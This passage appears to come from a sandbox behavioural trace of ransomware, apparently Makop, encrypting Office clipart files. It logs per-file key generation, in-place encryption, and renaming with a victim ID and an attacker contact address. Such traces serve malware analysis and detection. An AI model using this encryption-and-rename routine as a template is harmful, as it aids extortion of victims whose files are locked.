office\\clipart\\pub60cor\\so00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.318] GetProcessHeap () returned 0x48a0000 [0149.318] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.318] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.318] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.318] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0149.323] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.323] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.323] GetProcessHeap () returned 0x48a0000 [0149.324] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.324] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.324] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.324] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.324] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.324] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.324] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.324] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.325] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.325] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.325] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.325] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.325] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8f0e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8f0e, lpOverlapped=0x0) returned 1 [0149.327] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8f10, dwBufLen=0x8f10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8f10) returned 1 [0149.327] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.327] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8f10, lpOverlapped=0x0) returned 1 [0149.328] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.328] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.328] SetEndOfFile (hFile=0xf0) returned 1 [0149.338] GetProcessHeap () returned 0x48a0000 [0149.338] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.338] GetProcessHeap () returned 0x48a0000 [0149.338] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.339] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.341] CloseHandle (hObject=0xf0) returned 1 [0149.341] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x283c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00183_.WMF", cAlternateFileName="")) returned 1 [0149.341] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF") returned 63 [0149.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.342] GetProcessHeap () returned 0x48a0000 [0149.342] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.342] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.343] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.343] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.347] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.347] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.347] GetProcessHeap () returned 0x48a0000 [0149.347] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.347] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.347] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.347] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.348] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.348] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.348] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.348] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.348] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.348] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.349] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.349] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.349] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x283c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x283c, lpOverlapped=0x0) returned 1 [0149.350] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2840, dwBufLen=0x2840 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2840) returned 1 [0149.350] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.350] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2840, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2840, lpOverlapped=0x0) returned 1 [0149.351] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.351] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.351] SetEndOfFile (hFile=0xf0) returned 1 [0149.358] GetProcessHeap () returned 0x48a0000 [0149.358] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.358] GetProcessHeap () returned 0x48a0000 [0149.358] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.358] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.367] CloseHandle (hObject=0xf0) returned 1 [0149.367] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ad00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a0ad00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x514c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00190_.WMF", cAlternateFileName="")) returned 1 [0149.367] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF") returned 63 [0149.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.368] GetProcessHeap () returned 0x48a0000 [0149.369] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.369] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.369] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.369] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.373] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.373] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.374] GetProcessHeap () returned 0x48a0000 [0149.374] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.374] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.374] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.374] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.374] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.374] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.374] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.375] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.375] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.375] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.375] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x514c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x514c, lpOverlapped=0x0) returned 1 [0149.377] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5150, dwBufLen=0x5150 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5150) returned 1 [0149.377] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.378] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5150, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5150, lpOverlapped=0x0) returned 1 [0149.378] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.378] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.378] SetEndOfFile (hFile=0xf0) returned 1 [0149.386] GetProcessHeap () returned 0x48a0000 [0149.386] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.386] GetProcessHeap () returned 0x48a0000 [0149.386] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.386] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.386] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.388] CloseHandle (hObject=0xf0) returned 1 [0149.388] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2090, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00191_.WMF", cAlternateFileName="")) returned 1 [0149.388] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF") returned 63 [0149.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.389] GetProcessHeap () returned 0x48a0000 [0149.389] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.389] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.389] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.389] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.389] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.390] GetProcessHeap () returned 0x48a0000 [0149.390] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.390] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.390] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.390] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.396] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.396] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.397] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.397] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.397] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.397] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.397] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.397] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.398] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2090, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2090, lpOverlapped=0x0) returned 1 [0149.419] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2090, dwBufLen=0x2090 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2090) returned 1 [0149.419] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.419] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2090, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2090, lpOverlapped=0x0) returned 1 [0149.420] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.420] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.420] SetEndOfFile (hFile=0xf0) returned 1 [0149.426] GetProcessHeap () returned 0x48a0000 [0149.426] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.426] GetProcessHeap () returned 0x48a0000 [0149.426] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.426] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.427] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00191_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.428] CloseHandle (hObject=0xf0) returned 1 [0149.429] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, 